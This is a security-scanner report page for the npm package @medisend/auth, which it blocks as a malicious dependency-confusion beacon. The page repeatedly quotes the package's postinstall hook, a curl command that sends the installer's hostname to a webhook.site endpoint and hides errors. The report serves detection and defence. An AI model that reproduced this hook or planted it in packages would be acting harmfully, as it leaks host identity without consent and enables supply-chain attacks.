Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@medisend/auth@0.0.1-security-research: Malicious npm security | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Leaks host identity to a third-party endpoint without user consent.

View on npm All versions

registry / @medisend/auth / 0.0.1-security-research

@medisend/auth@0.0.1-security-research

Security research - dependency confusion test. Contact: security researcher, ref Halodoc VDP.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Installing the package automatically invokes curl. It transmits a hostname-derived identifier to an external webhook and hides failures.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation (postinstall)

Impact

Leaks host identity to a third-party endpoint without user consent.

Mechanism

install-time hostname fingerprint exfiltration via curl

Attack narrative

On installation, npm executes the postinstall command. It expands `$(hostname)` into the request query and sends it with curl to a fixed webhook.site URL. The `|| true` suffix suppresses errors, making the unsolicited callback less apparent. No functional package code exists to justify this install-time network action.

AI rationale

Direct source inspection found a concrete unsolicited postinstall network callback that fingerprints the installing host. This is malicious install-time data exfiltration, not a package-aligned feature.

Evidence

package.json

Network endpoints1

webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-14421

Source

OpenSSF Malicious Packages via OSV

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

Summary

Malicious code in @medisend/auth (npm)

Details

package.json declares a postinstall lifecycle script that runs `curl` against https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with the installer's hostname appended as a query parameter (`?pkg=medisend-auth-$(hostname)`). On `npm install`, this fires automatically and transmits an installer-identifying host indicator to a third-party anonymous collector endpoint controlled by whoever holds the webhook.site token. The @medisend/* scope and the package name pattern are consistent with dependency-confusion beaconing against an internal namespace. ## Source: ghsa-malware (926c7a6fd9201c1d2d2b6fa2becc8ceb1dfd166276a6e1f6c96211c1b066f22d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines a postinstall hook that runs curl automatically on npm install.
The hook sends the installing host's hostname to a fixed webhook.site endpoint.
The command suppresses failures with `|| true`, reducing visibility.

Evidence against

Package contains only package.json; no runtime source or legitimate implementation was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"scripts": { "postinstall": "curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true" }

High

Suspicious Lifecycle Evidence

package.json defines a postinstall hook that runs curl automatically on npm install.

package.jsonView on unpkg · L5

6"postinstall": "curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true"

High

Ai Review Evidence

The hook sends the installing host's hostname to a fixed webhook.site endpoint.

package.jsonView on unpkg · L6

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.postinstallView file

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.postinstallView on unpkg

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.postinstallView on unpkg

Findings

5 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script External Callbackpackage.json#scripts.postinstall

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @medisend/auth@0.0.1-security-research.

See version security history for other recorded verdicts.

Avoid installing @medisend/auth@0.0.1-security-research. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-08 00:30:16.616Z (UTC).

Source advisory published: 2026-08-24 16:46:29.000Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Trusted malware advisory MAL-2026-14421 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

Package metadata

npm

Version0.0.1-security-research

PublishedAug 24, 2026

Licensenone

Dependencies0

Integrityverified

Package size324 B

Files1

Runtime surface

package.json

EntrypointsNo public entrypoints declared.

RuntimeNo engine / OS / CPU constraints

Artifact330 B · 1 files1 signature(s)

Install lifecyclepostinstall

Behavioral surface

Source: cleanSupply chain: cleanNoLicense

LPM.dev Registry

© 2026 LPM

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"scripts": { "postinstall": "curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true" }

High

Suspicious Lifecycle Evidence

package.json defines a postinstall hook that runs curl automatically on npm install.

package.jsonView on unpkg · L5

6"postinstall": "curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true"

High

Ai Review Evidence

The hook sends the installing host's hostname to a fixed webhook.site endpoint.

package.jsonView on unpkg · L6

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.postinstallView file

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.postinstallView on unpkg

•scripts.postinstall = curl -s https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97?pkg=medisend-auth-$(hostname) || true

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.postinstallView on unpkg